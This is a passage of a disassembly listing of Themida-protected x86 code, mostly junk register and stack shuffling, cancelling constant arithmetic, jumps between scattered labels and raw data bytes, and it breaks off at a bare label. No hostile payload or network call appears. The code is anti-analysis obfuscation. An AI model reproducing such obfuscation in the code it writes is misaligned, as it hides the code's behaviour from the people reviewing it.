		dd 0C1FFFFCEh, 0F28104EAh, 7C63254h, 0FCE9D701h, 0ACFFFFC3h
		dd 51505166h, 2C89E9h, 0EB815900h, 19D766C0h, 8ACEE9h
		dd 4C78300h, 8B243C87h,	34332424h, 24343124h, 5C243433h
		dd 4C481h, 89530000h, 4C381E3h,	81000000h, 4EBh, 241C8700h
		dd 2414895Ch, 2035AABAh, 0EEA810Ch, 0E919E800h,	21A4h
		dd 4BDh, 5DE80100h, 5C240487h, 0C231C331h, 0FF705FE9h
		dd 0E9EE88FFh, 0FFFFE220h
; ---------------------------------------------------------------------------

loc_561834:				; CODE XREF: Themida_:0056C1C2j
		add	esp, 4
		or	eax, eax
		jnz	loc_56C4BF
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_561E2B
; ---------------------------------------------------------------------------

loc_56185F:				; CODE XREF: Themida_:00560E49j
		push	esp
		jmp	loc_55F772
; ---------------------------------------------------------------------------

loc_561865:				; CODE XREF: Themida_:0055E454j
		mov	ebx, 41517CC6h
		jmp	loc_56D765
; ---------------------------------------------------------------------------
		db 59h
		dd 8C2DD8F7h, 89BDA50Ch, 2AFFE9C6h, 0E9800000h,	0D0AEE977h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561886:				; CODE XREF: Themida_:005678F1j
		pop	eax
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_56A739
; ---------------------------------------------------------------------------
aYrits		db 'YR‰âéÏ<',0
		db 0
; ---------------------------------------------------------------------------

loc_561899:				; CODE XREF: Themida_:0056C943j
		mov	ebx, [esp]
		jmp	loc_563759
; ---------------------------------------------------------------------------

loc_5618A1:				; CODE XREF: Themida_:005668FBj
		mov	ebp, 2EC50489h
		jmp	loc_56A52B
; ---------------------------------------------------------------------------

loc_5618AB:				; CODE XREF: Themida_:0056962Aj
		mov	edi, [esp]
		add	esp, 4
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		shr	eax, 12h
		xor	eax, ecx
		push	6EDEh
		mov	[esp], eax
		xchg	ebx, [esp]
		jmp	loc_569107
; ---------------------------------------------------------------------------

loc_5618D5:				; CODE XREF: Themida_:0055DBAFj
		push	ebp
		mov	ebp, 0FFFFFFFFh
		jmp	loc_56B4A4
; ---------------------------------------------------------------------------
aYs		db 'Yé',27h,'»',0
		align 2
		dw 34FFh
		dd 0C4815E24h, 4, 31240C33h, 0C33240Ch,	24248B24h, 24048B66h
		dd 4EC8350h, 0E9242489h, 4A18h,	4C481h,	45E90000h
		db 8Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_561917:				; CODE XREF: Themida_:005626FFj
		add	eax, 4
		jmp	loc_56BCAC
; ---------------------------------------------------------------------------
		db 58h,	2Dh, 9Eh
		dd 2D30826Dh, 2FB652A3h, 25021F05h, 2DF82914h, 1425021Fh
		dd 0B652A305h, 4AB9512Fh, 49267D64h, 9D87E953h,	89510000h
		dd 2F23E9E1h, 0E9C10000h, 0FDC18107h, 0E918EFE4h, 0A352h
		dd 21FCE954h, 4330000h,	24043124h, 5C240433h, 6D50E9h
		db 0
; ---------------------------------------------------------------------------

loc_561975:				; CODE XREF: Themida_:0056C5A7j
		or	ebx, 7B065E90h
		jmp	loc_55B1BF
; ---------------------------------------------------------------------------
		dd 0D1F6C886h, 0F1E9C886h
		db 72h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56198B:				; CODE XREF: Themida_:00558CD3j
		mov	ecx, 3C131624h
		jmp	loc_56B145
; ---------------------------------------------------------------------------

loc_561995:				; CODE XREF: Themida_:00569FA8j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55E623
; ---------------------------------------------------------------------------

loc_5619AC:				; CODE XREF: Themida_:00565D95j
		mov	[esp], ebp
		mov	ebp, 1
		jmp	loc_55EE22
; ---------------------------------------------------------------------------
		db 5Fh,	50h, 0B8h
		dd 70A42378h, 0E0C1D8F7h, 38C5E902h, 0C9680000h, 0E96C5812h
		dd 0FFFFA9F4h, 7A4367BEh, 0E9F10938h, 0FFFF7EE7h
; ---------------------------------------------------------------------------

loc_5619E0:				; CODE XREF: Themida_:00568651j
		sub	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		pop	esi
		pop	ebx
		add	ebx, 197B7AB3h
		add	ebx, 144F4519h
		sub	ebx, esi
		jmp	loc_56A087
; ---------------------------------------------------------------------------
		dw 0E956h
		dd 0FFFFBE49h
; ---------------------------------------------------------------------------

loc_561A04:				; CODE XREF: Themida_:0056D982j
		pop	ebx
		xchg	esi, [esp]
		pop	esp
		push	0BA3h
		jmp	loc_55998D
; ---------------------------------------------------------------------------
		db 66h
		dd 0E987048Fh, 0AD78h, 0E902C783h, 5218h, 320B79BFh, 8BF82924h
		dd 0D9E9243Ch
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561A33:				; CODE XREF: Themida_:00562D20j
		mov	ebp, 1435817h
		add	edx, 1E3A6E0Eh
		sub	edx, ebp
		sub	edx, 1E3A6E0Eh
		pop	ebp
		sub	edi, edx
		pop	edx
		pop	eax
		push	ebp
		push	edx
		jmp	loc_56BBCD
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 8904EC83h, 0B3B82404h, 485B2505h, 0D8F7D8F7h, 0E905E0C1h
		dd 562Fh, 1384BF57h, 0FA096091h, 90EA815Fh, 17BDD3Bh, 0BD555AD0h
		dd 63E441DAh, 2109C581h, 0F9684D91h, 0E900006Ah, 1220h
		dd 8904EC83h, 0BD66242Ch, 0C16645D1h, 816606E5h, 6678DCF5h
		dd 34816655h, 0E95BA524h, 0A8ACh, 240C8966h, 0C8B60F66h
		dd 0E99C5166h, 0FFFFE6E0h, 0D7E95B54h, 87FFFFE4h, 66E92434h
		dd 47h,	21C380EBh, 0EB805966h, 9344E96Ch, 4050000h, 53000000h
		dd 4BBh, 0E9D80100h, 211Dh, 0B3241C89h,	8B60E960h, 487FFFFh
		dd 0A0685C24h, 8900006Eh, 0B168242Ch, 5400004Ch, 8124048Fh
		dd 42404h, 685D0000h, 486Eh, 0E9240C89h, 0FFFFE4AEh, 708EF681h
		dd 0EEC14894h, 6FF68105h, 814B5D70h, 4011C3C6h,	8BE68168h
		dd 0E945B70Ch, 920h
; ---------------------------------------------------------------------------

loc_561B48:				; CODE XREF: Themida_:0056C4D8j
		sub	ebx, 0FDBDD45Ah
		mov	eax, ebx
		pop	ebx
		inc	eax
		push	ecx
		push	7330588h
		pop	ecx
		shr	ecx, 8
		push	ebx
		push	edx
		push	eax
		mov	eax, 6E50144Ah
		mov	edx, eax
		mov	eax, [esp]
		jmp	loc_560119
; ---------------------------------------------------------------------------

loc_561B6E:				; CODE XREF: Themida_:00569A46j
		pop	edx
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		shr	eax, 0Ah
		jmp	loc_56BAE1
; ---------------------------------------------------------------------------

loc_561B7E:				; CODE XREF: Themida_:00561C36j
		mov	esi, 45341EBEh
		sub	esi, 0F47E1360h
		jmp	loc_5648E0
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 405h, 2223E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_561B9A:				; CODE XREF: Themida_:0055DF90j
		pop	edx
		dec	ecx
		jmp	loc_56A0C1
; ---------------------------------------------------------------------------
		db 0E9h, 0E6h, 6Ch
		dd 487FFFFh, 68525C24h,	37760B51h, 2EAC15Ah, 5A3BE956h
		dd 0F4880000h, 64AFE9h,	5DB85000h, 319722BAh, 0D78958C2h
		dd 285AE9h, 3F6B800h, 0BD5567EAh, 7BFB417Fh, 622FE581h
		dd 0EDC15A13h, 98ED8102h, 21A18D63h, 0D9E95DE8h
		db 6Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561BF3:				; CODE XREF: Themida_:00567AA2j
		push	ebp
		push	502811FEh
		pop	ebp
		add	ebp, 0EF4C3CD4h
		mov	edx, ebp
		pop	ebp
		shr	edx, 1
		push	esi
		mov	esi, 258B5878h
		or	edx, esi
		pop	esi
		shl	edx, 8
		push	ebx
		jmp	loc_56A568
; ---------------------------------------------------------------------------
		db 0BFh
		dd 0A1478A2h, 0CDC78147h, 0E93C4909h, 0B53Eh, 130AF781h
		dd 55E91C51h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561C33:				; CODE XREF: Themida_:00568C22j
		add	eax, edi
		push	esi
		jmp	loc_561B7E
; ---------------------------------------------------------------------------
		db 89h
		dd 4812424h, 424h, 24148B00h, 8104C483h, 4C2h, 0EC835500h
		dd 24348904h, 4BEh, 0E9F58900h,	22E6h, 259AC381h, 0F3011114h
		dd 259AEB81h, 0EB811114h, 77C4277Ch, 0D9C7815Eh, 2908AC06h
		dd 0D9EF81DFh, 5B08AC06h, 453DC781h, 0C7810DA5h, 65695AA7h
		dd 91E9CF01h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561C9B:				; CODE XREF: Themida_:0055A2ACj
		mov	esi, [esp]
		add	esp, 4
		push	edi
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55C60C
; ---------------------------------------------------------------------------
		dw 505Dh
		dd 0FFA3B7E9h, 4C183FFh, 31240C33h, 0C33240Ch, 24248B24h
		dd 0FF6BBBE9h, 666852FFh, 89000055h, 2ABE2434h,	0E914B267h
		dd 0FFFF9437h, 582434FFh, 4EC8157h, 0E9000000h,	0FFFF8593h
; ---------------------------------------------------------------------------

loc_561CF4:				; CODE XREF: Themida_:00559BB6j
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		jmp	loc_562EBC
; ---------------------------------------------------------------------------
		db 81h
		dd 42404h, 148B0000h, 9CAE924h,	0CB810000h, 7738428Bh
		dd 734CE381h, 0DBF775AFh, 4470F381h, 0D8895FABh, 0FFB84AE9h
		dd 24148BFFh, 4524E9h, 0EBC14300h, 0BA42E902h, 0C1810000h
		dd 3F7B67F5h, 815D5455h, 4C5h, 109BE900h, 148B0000h, 0E1895124h
		dd 0FFB772E9h, 0BA525EFFh, 18B928A5h, 0A8B2EA81h, 0D72920DBh
		dd 0FFFA015Ah, 88E92434h, 68000053h, 16D46C3Eh,	0CEF18159h
		dd 0C143FF69h, 0C18105E1h, 0B2D6B532h, 0FBE9CE89h, 68000039h
		dd 37E8h, 50240C89h, 0D1688EB8h, 24440150h, 348B5804h
		dd 4C48324h, 688EB850h,	0C62950D1h, 3BFCE958h, 0D1E90000h
		db 6Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561DBB:				; CODE XREF: Themida_:0055B4E0j
		push	324Bh
		mov	[esp], esi
		push	ebx
		mov	ebx, 2EFB2BE4h
		xor	ebx, 203251C6h
		jmp	loc_5639E6
; ---------------------------------------------------------------------------

loc_561DD4:				; CODE XREF: Themida_:005691D2j
		add	esp, 4
		add	ecx, 4
		push	ebp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 34466C11h
		mov	ebp, 34466C15h
		jmp	loc_561798
; ---------------------------------------------------------------------------
		dw 0E956h
		dd 0FFFFDF1Ch, 3B083ABFh, 83EBA24h, 0D4E9243Bh
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561E0B:				; CODE XREF: Themida_:0056C1B2j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_558DE4
; ---------------------------------------------------------------------------

loc_561E2B:				; CODE XREF: Themida_:0056185Aj
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_563110
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 81E78957h, 4C7h, 4EF8300h, 8B243C87h, 0F7E92424h, 5B0000A5h
		dd 4BD55h, 0EB010000h, 7D46E95Dh, 0ED810000h, 1C3C2E05h
		dd 51DD015Eh, 3A2B05B9h, 59CD2915h, 83241C8Bh, 0ED8104C4h
		dd 4, 2474FF55h, 242C8B04h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55B571
; ---------------------------------------------------------------------------
		dd 0FF69EBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561EA1:				; CODE XREF: Themida_:00560BECj
		pop	ecx
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_563F84
; ---------------------------------------------------------------------------
		dw 372Dh
		dd 8944B638h, 7111E9C7h, 0E789FFFFh, 4C781h, 0B9510000h
		dd 4, 0E959CF01h, 6737h
; ---------------------------------------------------------------------------

loc_561ED4:				; CODE XREF: Themida_:00559373j
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_558A56
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 6E7D9D21h, 0C7779105h, 0E9E80178h, 0FFFFD013h, 0C281E289h
		dd 4, 4C281h, 14870000h, 0C4815C24h, 4,	62DF6852h, 1C890000h
		dd 7C08BB24h, 0BE93B46h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561F23:				; CODE XREF: Themida_:005593FAj
		pop	ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_5685AC
; ---------------------------------------------------------------------------

loc_561F3B:				; CODE XREF: Themida_:0056A240j
		sub	ebp, 3ACC1EB7h
		pop	esi
		add	ebp, 448365E0h
		pop	eax
		push	ecx
		push	ebp
		sub	dword ptr [esp], 17891351h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ecx, 17891351h
		mov	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		pop	ebp
		and	ecx, esi
		mov	esi, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_5666BD
; ---------------------------------------------------------------------------
		db 0FFh
		dd 48B2434h, 4EC8324h, 89243489h, 4C681E6h, 55000000h
		dd 8F9CE9h, 0EEB95100h,	29185F09h, 0C070E9CEh, 0E959FFFFh
		dd 0FFFFDB86h, 15EF129h, 240C8BCFh, 0FF7704E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561FB5:				; CODE XREF: Themida_:005698A2j
		push	eax
		mov	eax, 62EF70F9h
		and	ecx, eax
		pop	eax
		jmp	loc_56ABC6
; ---------------------------------------------------------------------------
		db 68h
		dd 35EDh, 0FFCD06E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561FCD:				; CODE XREF: Themida_:0055E835j
		sub	ebp, 1288CD03h
		jmp	loc_55A342
; ---------------------------------------------------------------------------

loc_561FD8:				; CODE XREF: Themida_:0056C8CCj
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_55FDDA
; ---------------------------------------------------------------------------
		dd 348BF729h, 4C48124h,	8B000000h, 0C483240Ch, 7656804h
		dd 8CE90000h, 81FFFF8Bh, 9BF45DC2h, 5AD789E4h, 8DF7E9h
		dd 4BA00h, 54010000h, 0E95A0424h, 0FFFFCC4Ch, 24E068h
		dd 243C8900h, 819AE954h, 3C890000h, 650F6824h, 34890000h
		dd 1C51BE24h, 0CDE95B04h, 52FFFFE9h, 0CCE9E289h, 68FFFF8Bh
		dd 1414h, 68242C89h, 7E39h, 52243C89h, 3B655D68h, 9CE95A54h
		dd 89FFFFFFh, 0E189240Ch, 88BB5357h, 813E7D34h,	750CE5F3h
		dd 50C38175h, 817E975Eh, 0BC6DC9CBh, 0CB814B7Eh, 2B995AA1h
		dd 0FFF9F381h, 0DF89FFBFh, 4EC835Bh, 0BB241C89h, 22B83CDCh
		dd 0FF9903E9h, 5995B9FFh, 0F181050Eh, 51DA21ACh, 752EF181h
		dd 0C831E85Ch, 58C72959h, 7472FA2Dh, 0E9F80128h, 0FFFFA91Eh
; ---------------------------------------------------------------------------

loc_5620C4:				; CODE XREF: Themida_:0056A0B4j
		mov	dl, bh
		mov	ebx, [esp]
		add	esp, 4
		add	al, dl
		pop	dx
		add	al, bl
		sub	al, 50h
		jmp	loc_559A97
; ---------------------------------------------------------------------------

loc_5620DC:				; CODE XREF: Themida_:0055F1A6j
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_55888C
; ---------------------------------------------------------------------------
		dd 170EA8BFh, 5FFA215Ch, 3ACFB951h, 0BF577678h,	200A16D9h
		dd 815FF931h, 4D7886E1h, 5E1C13Dh, 0C181E1D1h, 380B0CAAh
		dd 0E959CA31h, 0FFFFD127h, 0CEE9A6B2h, 54FFFFE6h, 0E9241C8Bh
		dd 0FFFFEBD7h, 0E908EEC1h, 0FFFFF4A5h
; ---------------------------------------------------------------------------

loc_562130:				; CODE XREF: Themida_:00564451j
		inc	edx
		inc	edx
		or	edx, 4A5C5A6Fh
		add	edx, 0C8076BABh
		push	edx
		pop	edi
		pop	edx
		add	ebx, 4EA18DBh
		sub	ebx, 2367488Eh
		sub	ebx, edi
		add	ebx, 2367488Eh
		push	edx
		jmp	loc_56B135
; ---------------------------------------------------------------------------
		db 8Bh
		dd 18E92424h, 56FFFFFEh, 5155E689h, 38C9E953h, 0FD310000h
		dd 2DC5815Fh, 0E9B8EDE2h, 59D4h
; ---------------------------------------------------------------------------

loc_56217C:				; CODE XREF: Themida_:00569C00j
		mov	cx, [esp]
		jmp	loc_5630FB
; ---------------------------------------------------------------------------

loc_562185:				; CODE XREF: Themida_:00568F72j
		mov	esi, 4
		mov	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		add	edi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		and	eax, edx
		jmp	loc_55AB30
; ---------------------------------------------------------------------------

loc_5621B2:				; CODE XREF: Themida_:0055F50Ej
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_56CD10
; ---------------------------------------------------------------------------

loc_5621C8:				; CODE XREF: Themida_:0056A7EDj
		push	246Fh
		jmp	loc_5591DD
; ---------------------------------------------------------------------------

loc_5621D2:				; CODE XREF: Themida_:0055D8EAj
		sub	ecx, 6110D1Ah
		sub	ecx, edx
		add	ecx, 6110D1Ah
		pop	edx
		sub	eax, ecx
		mov	ecx, [esp]
		jmp	loc_569CC1
; ---------------------------------------------------------------------------
		db 81h
		dd 3263EACAh, 0F0F28132h, 291A6B92h, 2434FFD0h,	0E389535Ah
		dd 2D9CE9h, 4621BF00h, 504F3ACEh, 172940B8h, 58C73163h
		dd 4ABFF781h, 0FB8905C7h, 8E3C15Fh, 5255EBD1h, 33130768h
		dd 0A9E95A5Bh, 0BFFFFF69h, 4, 1101EB81h, 0FB0170C8h, 1101C381h
		dd 575F70C8h, 0ED4D53BFh, 0B1C7816Ah, 299512B2h, 0FF535FFBh
		dd 5B042474h, 8B24048Fh, 0C892424h, 0E7895724h,	0FFD838E9h
		dd 4C181FFh, 0E9000000h, 433Bh,	40C5815Dh, 0E973DF6Ah
		dd 0FFFF76FCh, 230D18BEh, 5EF02956h, 0F7D0F75Bh, 5D8F7D0h
		dd 2219ED0Ah, 2958C601h, 0EB815EF0h, 116669A8h,	9866E952h
		dd 5759FFFFh, 0B0CF48BFh, 5FFA894Ch, 40B4C281h,	0DA296A38h
		dd 727CE9h, 94BA6600h, 2EC8170h, 66000000h, 52241C89h
		dd 226A6866h, 24148B66h, 2C481h, 81660000h, 664619EAh
		dd 0BF6657h, 0D7296600h, 0FFCAA8E9h, 0E95B58FFh, 7E2Ah
; ---------------------------------------------------------------------------

loc_5622F4:				; CODE XREF: Themida_:00565D16j
		mov	ecx, 4F093F78h
		sub	edi, ecx
		pop	ecx
		push	eax
		mov	eax, 455B7DB1h
		shl	eax, 2
		push	edx
		mov	edx, 5BC52D55h
		sub	eax, edx
		pop	edx
		jmp	loc_562CF9
; ---------------------------------------------------------------------------
aRhnf		db 'RhnF',0
		dd 243C8900h, 76C9E9h
		db 0
; ---------------------------------------------------------------------------

loc_562321:				; CODE XREF: Themida_:00564DECj
		add	eax, 19A5B8Ch
		add	eax, 9A8345Bh
		push	0B94h
		mov	[esp], ebp
		jmp	loc_5685C7
; ---------------------------------------------------------------------------
		dd 4C181h, 0C1810000h, 4, 0A2B0E9h, 30F78100h, 29768C03h
		dd 0F8E95FFAh
		db 77h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_562357:				; CODE XREF: Themida_:0056CA96j
		sub	eax, 0A7F8A842h
		xor	ebx, eax
		pop	eax
		sub	esi, ebx
		pop	ebx
		add	esi, ebp
		add	esi, 4F326BCCh
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		dec	esi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 1
		sub	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	edi, esi
		not	edi
		push	esi
		push	edi
		pop	esi
		pop	edi
		push	edi
		mov	edi, 37B57115h
		jmp	loc_56961C
; ---------------------------------------------------------------------------

loc_562398:				; CODE XREF: Themida_:0056C028j
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ebp
		mov	ebp, 33DC1108h
		add	edi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, edi
		mov	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		push	236Fh
		mov	[esp], edx
		jmp	loc_569C27
; ---------------------------------------------------------------------------
		dw 815Fh
		dd 36384EEAh, 65F28113h, 93505DDh, 9912E9D5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5623F6:				; CODE XREF: Themida_:0056ABF1j
		sub	bl, al
		push	ecx
		jmp	loc_55DB13
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 4E47181Fh, 7687C181h, 0D90144BCh, 7687E981h,	0E95544BCh
		dd 374Ah, 8704C383h, 685C241Ch,	7B4Dh, 0FF846DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_562429:				; CODE XREF: Themida_:0055FD9Ej
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	[esp], ax
		pushf
		jmp	loc_55888C
; ---------------------------------------------------------------------------

loc_56243A:				; CODE XREF: Themida_:0055E320j
		not	ecx
		sub	esp, 4
		mov	[esp], ecx
		not	dword ptr [esp]
		pop	ecx
		jmp	loc_56AF8C
; ---------------------------------------------------------------------------

loc_56244E:				; CODE XREF: Themida_:005677CCj
		mov	al, bl
		jmp	loc_5684F8
; ---------------------------------------------------------------------------
		db 2Dh,	0EBh, 33h
		dd 0E8010A16h, 1633EB05h, 0E9505D0Ah, 2CAFh, 7ABBC681h
		dd 0AEE9586Fh
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562473:				; CODE XREF: Themida_:005685BAj
		mov	edx, [esp]
		jmp	loc_55A952
; ---------------------------------------------------------------------------

loc_56247B:				; CODE XREF: Themida_:00565F4Ej
		xor	eax, 53552F13h
		add	edi, eax
		jmp	loc_5695E0
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4C68100h, 51000000h, 2B9h, 0ECC68100h,	0E96E4573h
		dd 0FFFFB04Dh
; ---------------------------------------------------------------------------

loc_5624A4:				; CODE XREF: Themida_:0056287Aj
		and	ebp, 3BA11F0Bh
		add	ebp, 27C7FB92h
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_569A1D
; ---------------------------------------------------------------------------
		db 5Fh,	0D1h, 0E6h
		dd 60CEC681h, 0F5893DE6h, 0D4E7BE5Eh, 0EE3101C9h, 3107E9h
		dd 12B85000h, 0F7089849h, 51D8F7D0h, 424A4DB9h,	59C82911h
		dd 55FEC72Dh, 0E9C201F7h, 0FFFF6705h, 520EF381h, 57530169h
		dd 2E1A2FBFh, 247C3151h, 815F5F04h, 2E1A2FF7h, 251FE951h
		dd 1C890000h, 20A46824h, 46E96B94h, 66000084h, 8324048Bh
		dd 148904ECh, 405E6824h, 24890000h, 0F7C9E924h,	40BBFFFFh
		dd 0C14FB068h, 0C38106EBh, 0F8A6982h, 0EB81DBF7h, 8DA55E9h
		dd 7EF0F381h, 0D801E65Ch, 2404875Bh, 98ABE95Ch,	34FFFFFFh
		dd 24048B24h, 6002E9h
		db 0
; ---------------------------------------------------------------------------

loc_562569:				; CODE XREF: Themida_:0055FC47j
		mov	ebx, 77B36812h
		sub	ebx, 50961CE8h
		mov	edx, ebx
		pop	ebx
		jmp	loc_559C9E
; ---------------------------------------------------------------------------
		dd 0F788D4B6h, 59EF005Ah, 0B450D7F6h, 0A6C48085h, 0E90AB753h
		dd 0FFFFB817h, 4EC81h, 24890000h, 24048324h, 0BF575804h
		dd 0C1F4995h, 45F6C781h, 85E92C17h
		db 0A9h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5625B3:				; CODE XREF: Themida_:00567FB0j
		pop	esp
		mov	[esp], esi
		push	7E17h
		mov	[esp], ebx
		mov	ebx, 6E2943F0h
		sub	ebx, 5ED56A03h
		shr	ebx, 3
		xor	ebx, 17292A6Dh
		and	ebx, 57B196Ch
		sub	ebx, 0F673D3A9h
		jmp	loc_569D19
; ---------------------------------------------------------------------------

loc_5625E4:				; CODE XREF: Themida_:0056D29Bj
		mov	[esp], edx
		jmp	loc_565F86
; ---------------------------------------------------------------------------

loc_5625EC:				; CODE XREF: Themida_:0056D79Ej
		dec	edi
		xor	edi, 638E254Dh
		jmp	loc_560816
; ---------------------------------------------------------------------------
		dd 1408132Dh, 0B101E913h, 0A3350000h, 0E957038Eh, 6582h
		dd 0C5EFE954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562612:				; CODE XREF: Themida_:00559210j
		mov	eax, [esp]
		jmp	loc_55EAB5
; ---------------------------------------------------------------------------

loc_56261A:				; CODE XREF: Themida_:00562ED0j
		sub	esi, ebp
		xchg	esi, ebp
		pop	esi
		push	esi
		jmp	loc_568926
; ---------------------------------------------------------------------------
		db 0BDh, 0BAh, 2Ah
		dd 0EB017A02h, 0E92434FFh, 0FFFF9326h
; ---------------------------------------------------------------------------

loc_562634:				; CODE XREF: Themida_:00566D36j
		shr	ecx, 3
		jmp	loc_55B6BC
; ---------------------------------------------------------------------------
		dd 8058C100h, 0B2528BE1h, 80D2F6BAh, 0D1307AC2h, 4168665Ah
		dd 4896679h, 28CFB424h,	805866E3h, 66E9D0C3h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562663:				; CODE XREF: Themida_:00564925j
		mov	[esp], ecx
		push	edi
		jmp	loc_565A06
; ---------------------------------------------------------------------------

loc_56266C:				; CODE XREF: Themida_:005682F7j
		push	edx
		push	esp
		pop	edx
		jmp	loc_567247
; ---------------------------------------------------------------------------

loc_562674:				; CODE XREF: Themida_:00562A77j
		pop	esp
		jmp	loc_5593DF
; ---------------------------------------------------------------------------
		dw 0DE01h
		dd 7B0FEE81h, 34FF2856h, 4AE95B24h, 0B3FFFFCDh,	0E9C330ABh
		dd 2A24h, 0E9240C89h, 8F15h, 240C8B66h,	4EC81h,	0A1E90000h
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5626AB:				; CODE XREF: Themida_:0055DF53j
		push	eax
		jmp	loc_5626FD
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 68520000h, 2E56h, 0BF243C89h, 4, 34FFFA89h
		db 24h,	5Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 2F7626AEh
		jmp	loc_55F9A3
; ---------------------------------------------------------------------------
		dd 5604C483h, 0FFBCEFE9h, 0E5E95AFFh
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5626E7:				; CODE XREF: Themida_:00566B40j
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_56DE81
; ---------------------------------------------------------------------------
		dw 1C33h
		dd 241C3124h, 1D62E9h
		db 0
; ---------------------------------------------------------------------------

loc_5626FD:				; CODE XREF: Themida_:005626ACj
		mov	eax, esp
		jmp	loc_561917
; ---------------------------------------------------------------------------
		dd 81E68956h, 4C6h, 4C68100h, 87000000h, 575C2434h, 0C781E789h
		dd 4, 8704EF83h, 895C243Ch, 7E92414h, 0FFFFFF66h, 0C8B2434h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55C366
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 0FBh
		dd 8100075Dh, 4ECh, 240C8900h, 0FFA537E9h, 2434FFFFh, 582434FFh
		dd 0FFC28BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56275D:				; CODE XREF: Themida_:0056BA80j
		shl	ebp, 2
		sub	ebp, 1E2C62D8h
		neg	ebp
		add	ebp, 7BC43796h
		add	ebp, 792CE1CAh
		mov	edx, ebp
		pop	ebp
		sub	ebx, edx
		pop	edx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_55888C
; ---------------------------------------------------------------------------
		dd 81E68956h, 4C6h, 4C68100h, 87000000h, 5E5C2434h, 0FFD469E9h
		dd 67BD55FFh, 1340175h,	6532E9E9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5627B6:				; CODE XREF: Themida_:0056A6EFj
